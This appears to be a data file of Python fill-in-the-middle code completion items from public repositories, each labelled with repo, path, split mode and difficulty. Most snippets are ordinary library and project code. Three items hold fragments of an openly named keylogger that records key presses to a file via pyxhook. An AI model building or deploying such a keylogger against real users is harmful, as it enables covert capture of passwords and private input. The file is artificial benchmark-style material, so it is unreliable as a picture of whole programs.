"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jxpress/mangum path: /mangum/websocket.py
import json
import logging
from dataclasses import dataclass
from urllib.parse import urlparse
from mangum.types import Scope
from mangum.exceptions import WebSocketError, ConfigurationError
try:
import boto3
from botocore.exceptions import Clie... | code_fim | hard | {
"lang": "python",
"repo": "jxpress/mangum",
"path": "/mangum/websocket.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
apigw_client = boto3.client(
"apigatewaymanagementapi",
endpoint_url=self.api_gateway_endpoint_url,
region_name=self.api_gateway_region_name,
)
apigw_client.post_to_connection(
ConnectionId=sel... | code_fim | hard | {
"lang": "python",
"repo": "jxpress/mangum",
"path": "/mangum/websocket.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: doublechenching/ship_detection path: /tmp.py
Nucleoplasm 12885 0.25
Cytosol 8228 0.16
Plasma membrane 3777 0.07
Nucleoli 3621 0.07
Mitochondria 2965 0.06
Golgi apparatus ... | code_fim | hard | {
"lang": "python",
"repo": "doublechenching/ship_detection",
"path": "/tmp.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>1008 0.02
Microtubule organizing center 902 0.02
Cell junctions 802 0.02
Actin filaments 688 0.01
Focal adhesion sites 537 0.01
Cytokinetic bridge 530 0.01
Cytoplasmic bodies 328 0.01
Aggresome 322 ... | code_fim | hard | {
"lang": "python",
"repo": "doublechenching/ship_detection",
"path": "/tmp.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> Raises:
concurrent.futures.TimeoutError: If the request times out.
Exception: For undefined exceptions in the underlying
call execution.
"""
# Attempt to get the exception if there is one.
# If there is not one, then we know everythin... | code_fim | hard | {
"lang": "python",
"repo": "tswast/google-cloud-python",
"path": "/pubsub/google/cloud/pubsub_v1/publisher/futures.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def result(self, timeout=None):
"""Return the message ID or raise an exception.
This blocks until the message has been published successfully and
returns the message ID unless an exception is raised.
Args:
timeout (Union[int, float]): The number of seconds... | code_fim | hard | {
"lang": "python",
"repo": "tswast/google-cloud-python",
"path": "/pubsub/google/cloud/pubsub_v1/publisher/futures.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tswast/google-cloud-python path: /pubsub/google/cloud/pubsub_v1/publisher/futures.py
# Copyright 2019, Google LLC All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of ... | code_fim | medium | {
"lang": "python",
"repo": "tswast/google-cloud-python",
"path": "/pubsub/google/cloud/pubsub_v1/publisher/futures.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: arianon/panel path: /panel/widgets/music.py
import asyncio
from ..widget import Widget
async def music():
"""
Fetches the current song from MPD and waits until it reports
a `player` action (song switched, paused, unpaused or stopped)
"""
widget = Widget()
widget.icon = ... | code_fim | hard | {
"lang": "python",
"repo": "arianon/panel",
"path": "/panel/widgets/music.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
data = await reader.readuntil(b'OK\n')
except asyncio.IncompleteReadError:
return None
else:
data = data.decode().strip('OK\n').splitlines()
return dict(info.split(': ', 1) for info in data)
async def info():
song = ... | code_fim | hard | {
"lang": "python",
"repo": "arianon/panel",
"path": "/panel/widgets/music.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # 2nd: run exec cmd
algorithm_path = our_exec_path + os.sep + our_algorithm
params_lst = map(str,
[algorithm_path,
data_set_path + os.sep + data_set_name,
... | code_fim | hard | {
"lang": "python",
"repo": "RapidsAtHKUST/AccTriCnt",
"path": "/python_experiments/run_synthetic.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: RapidsAtHKUST/AccTriCnt path: /python_experiments/run_synthetic.py
import socket
import time_out_util
from config import *
from exec_utils import *
def run_exp(env_tag=knl_tag):
with open('config.json') as ifs:
my_config_dict = json.load(ifs)[env_tag]
######################
... | code_fim | hard | {
"lang": "python",
"repo": "RapidsAtHKUST/AccTriCnt",
"path": "/python_experiments/run_synthetic.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: csy1993/PythonLeetcode path: /a17_电话号码的字母组合.py
'''
* @File: a17_电话号码的字母组合.py
* @Author: CSY
* @Date: 2019/7/27 - 10:37
'''
"""
给定一个仅包含数字 2-9 的字符串，返回所有它能表示的字母组合。
给出数字到字母的映射如下（与电话按键相同）。注意 1 不对应任何字母。
"""
class Solution:
<|fim_suffix|>
if __name__ == "__main__":
digits = "23"
s1 = Solution(... | code_fim | hard | {
"lang": "python",
"repo": "csy1993/PythonLeetcode",
"path": "/a17_电话号码的字母组合.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == "__main__":
digits = "23"
s1 = Solution()
print(s1.letterCombinations(digits))<|fim_prefix|># repo: csy1993/PythonLeetcode path: /a17_电话号码的字母组合.py
'''
* @File: a17_电话号码的字母组合.py
* @Author: CSY
* @Date: 2019/7/27 - 10:37
'''
"""
给定一个仅包含数字 2-9 的字符串，返回所有它能表示的字母组合。
给出数字到字母的映射如下（与电话按... | code_fim | hard | {
"lang": "python",
"repo": "csy1993/PythonLeetcode",
"path": "/a17_电话号码的字母组合.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class Exclamation(Letter):
keyhole = 1, 2.25, 2/32, 1/2
innards = 1+1/8, 1+1/16, 2-3/16, 2-2/16
def draw(self, zoom, **kwargs):
super().draw(zoom=zoom, **kwargs)
if self.unlocked:
gl.glColor3f(0.1, 0.2, 0.5)
with draw_opening(self):
gl.... | code_fim | hard | {
"lang": "python",
"repo": "encukou/jrti_game",
"path": "/jrti_game/text.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: encukou/jrti_game path: /jrti_game/text.py
import functools
import contextlib
from pyglet import gl
from jrti_game.data import spritesheet_data, spritesheet_texture, sprites
from jrti_game.flippable import Sprite
from jrti_game.key_names import key_symbols
from jrti_game.util import draw_rect, ... | code_fim | hard | {
"lang": "python",
"repo": "encukou/jrti_game",
"path": "/jrti_game/text.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class Letter(Sprite):
def __init__(self, letter, strim=0, etrim=0, **kwargs):
u, v, width, height = letter_uvwh(letter)
width += 1-etrim-strim
kwargs.update(
texture_width=width,
texture_height=height,
u=u-1+strim,
v=v,
)... | code_fim | hard | {
"lang": "python",
"repo": "encukou/jrti_game",
"path": "/jrti_game/text.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>ne|'\n'
nl|'\n'
dedent|''
name|'hostname'
op|'='
name|'self'
op|'.'
name|'_get_hostname'
op|'('
op|')'
newline|'\n'
nl|'\n'
name|'floating_ips'
op|'='
name|'self'
op|'.'
name|'ip_info'
op|'['
string|"'floating_ips'"
op|']'
newline|'\n'
name|'floating_ip'
op|'='
name|'floating_ips'
name|'and'
name|'floatin... | code_fim | hard | {
"lang": "python",
"repo": "bopopescu/nova-token",
"path": "/nova/api/metadata/base.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>elf'
op|'.'
name|'files'
newline|'\n'
dedent|''
name|'if'
name|'self'
op|'.'
name|'extra_md'
op|':'
newline|'\n'
indent|' '
name|'metadata'
op|'.'
name|'update'
op|'('
name|'self'
op|'.'
name|'extra_md'
op|')'
newline|'\n'
dedent|''
name|'if'
name|'self'
op|'.'
name|'network_config'
op|':'
newl... | code_fim | hard | {
"lang": "python",
"repo": "bopopescu/nova-token",
"path": "/nova/api/metadata/base.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bopopescu/nova-token path: /nova/api/metadata/base.py
'
name|'jsonutils'
op|'.'
name|'dump_as_bytes'
op|'('
name|'self'
op|'.'
name|'network_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|_password
dedent|''
name|'def'
name|'_password'
op|'('
name|'self'
op|','
name|'version'
op|','
name|'path... | code_fim | hard | {
"lang": "python",
"repo": "bopopescu/nova-token",
"path": "/nova/api/metadata/base.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> = os.path.dirname(os.path.realpath(__file__))
sys.path.append(dir_path)
for i in __all__:
__import__(i)<|fim_prefix|># repo: phoenixding/scdiff path: /scdiff/__init__.py
import pdb,sys,os
__all__=['ClusteringMetric','File'<|fim_middle|>,'KF2','StatTest','scdiff','Distance','viz']
dir_path | code_fim | easy | {
"lang": "python",
"repo": "phoenixding/scdiff",
"path": "/scdiff/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: phoenixding/scdiff path: /scdiff/__init__.py
import pdb,sys,os
__all__=['ClusteringMetric','File','KF2','StatTest','scdiff','Distance','viz']
dir_path<|fim_suffix|>th.append(dir_path)
for i in __all__:
__import__(i)<|fim_middle|> = os.path.dirname(os.path.realpath(__file__))
sys.pa | code_fim | easy | {
"lang": "python",
"repo": "phoenixding/scdiff",
"path": "/scdiff/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># Result:
#
# >>>
# [0, 2, 4, 6, 8, 10]<|fim_prefix|># repo: byrondover/python-practice path: /generator_examples.py
#!/usr/bin/env python3
def countdown():
i=5
while i > 0:
yield i
i -= 1
<|fim_middle|>
for i in countdown():
print(i)
# Result:
#
# >>>
# 5
# 4
# 3
# 2
# 1
# Another e... | code_fim | medium | {
"lang": "python",
"repo": "byrondover/python-practice",
"path": "/generator_examples.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: byrondover/python-practice path: /generator_examples.py
#!/usr/bin/env python3
def countdown():
i=5
while i > 0:
yield i
i -= 1
for i in countdown():
print(i)
<|fim_suffix|>def numbers(x):
for i in range(x):
if i % 2 == 0:
yield i
print(list(numbers(11)))
# Res... | code_fim | medium | {
"lang": "python",
"repo": "byrondover/python-practice",
"path": "/generator_examples.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: adafruit/Adafruit_CircuitPython_BLE path: /adafruit_ble/services/circuitpython.py
# SPDX-FileCopyrightText: 2019 Scott Shawcroft for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`circuitpython`
====================================================
<|fim_suffix|> def __init__(self,... | code_fim | hard | {
"lang": "python",
"repo": "adafruit/Adafruit_CircuitPython_BLE",
"path": "/adafruit_ble/services/circuitpython.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """UUIDs with the CircuitPython base UUID."""
def __init__(self, uuid16: int) -> None:
uuid128 = bytearray("nhtyPtiucriC".encode("utf-8") + b"\x00\x00\xaf\xad")
uuid128[-3] = uuid16 >> 8
uuid128[-4] = uuid16 & 0xFF
super().__init__(uuid128)
class CircuitPythonSer... | code_fim | medium | {
"lang": "python",
"repo": "adafruit/Adafruit_CircuitPython_BLE",
"path": "/adafruit_ble/services/circuitpython.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>class CircuitPythonService(Service):
"""Core CircuitPython service that allows for file modification and REPL access.
Unimplemented."""
uuid = CircuitPythonUUID(0x0100)
filename = StringCharacteristic(
uuid=CircuitPythonUUID(0x0200),
properties=(Characteristic.READ | Chara... | code_fim | hard | {
"lang": "python",
"repo": "adafruit/Adafruit_CircuitPython_BLE",
"path": "/adafruit_ble/services/circuitpython.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def PreactResNetDebug(num_classes, in_ch=3, debug=False):
"""
A not so big predefined preactivation resnet classifier for debugging purposes.
Args:
num_classes (int): the number of output classes
in_ch (int): number of input channels, 3 for RGB images
debug (bool): wh... | code_fim | hard | {
"lang": "python",
"repo": "lilujunai/Torchelie",
"path": "/torchelie/models/resnet.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lilujunai/Torchelie path: /torchelie/models/resnet.py
import functools
import torch.nn as nn
import torchelie.nn as tnn
from .classifier import Classifier
def VectorCondResNetBone(arch, head, hidden, in_ch=3, debug=False):
"""
A resnet with vector side condition.
Args:
arc... | code_fim | hard | {
"lang": "python",
"repo": "lilujunai/Torchelie",
"path": "/torchelie/models/resnet.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Loop trough all rows
for row in table.find_all('tr'):
# Loop through all columns, get the text and convert to lower case only.
row_data = [col.get_text().lower() for col in row.find_all('td')]
# Append to table_data:
... | code_fim | hard | {
"lang": "python",
"repo": "patrjon/pyshb",
"path": "/pyshb/base/base.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: patrjon/pyshb path: /pyshb/base/base.py
__all__ = ['SHBBase']
# Standard Library:
from pathlib import Path
# Third party
from bs4 import BeautifulSoup
# Local applications:
class SHBBase:
"""
Base class for PySHB. This class does the following:
* read the input file
*... | code_fim | hard | {
"lang": "python",
"repo": "patrjon/pyshb",
"path": "/pyshb/base/base.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rpigu-i/python-pyxhook-keylogger path: /pyxhook_keylogger.py
import pyxhook
import sys
class KeyLogger():
log = ""
listener = ""
def main(self):
"""
Take a file path as input
and log key presses to
said file
"""
<|fim_suffix|> ... | code_fim | hard | {
"lang": "python",
"repo": "rpigu-i/python-pyxhook-keylogger",
"path": "/pyxhook_keylogger.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if event.Ascii==94:
file_object.close()
self.listener.cancel()
if __name__ == '__main__':
key_logger = KeyLogger()
key_logger.main()<|fim_prefix|># repo: rpigu-i/python-pyxhook-keylogger path: /pyxhook_keylogger.py
import pyxhook
import sys
class Ke... | code_fim | medium | {
"lang": "python",
"repo": "rpigu-i/python-pyxhook-keylogger",
"path": "/pyxhook_keylogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> file_object = open(log,'a')
file_object.write(event.Key)
file_object.write('\n')
if event.Ascii==94:
file_object.close()
self.listener.cancel()
if __name__ == '__main__':
key_logger = KeyLogger()
key_logger.main()<|fim_p... | code_fim | hard | {
"lang": "python",
"repo": "rpigu-i/python-pyxhook-keylogger",
"path": "/pyxhook_keylogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>KW, strides, padding, dilation = 1, 14, 14, 512, 512, 3, 3, (
# 1, 1), (3, 3), 3<|fim_prefix|># repo: LegendBC/PET path: /operator_ae/ansor/generate_task.py
import re
with open('task.txt') as f:
for l in f.readlines():
pattern = re.compile(r'\[.*?\]') # 查找数字
result = pattern.fin... | code_fim | medium | {
"lang": "python",
"repo": "LegendBC/PET",
"path": "/operator_ae/ansor/generate_task.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
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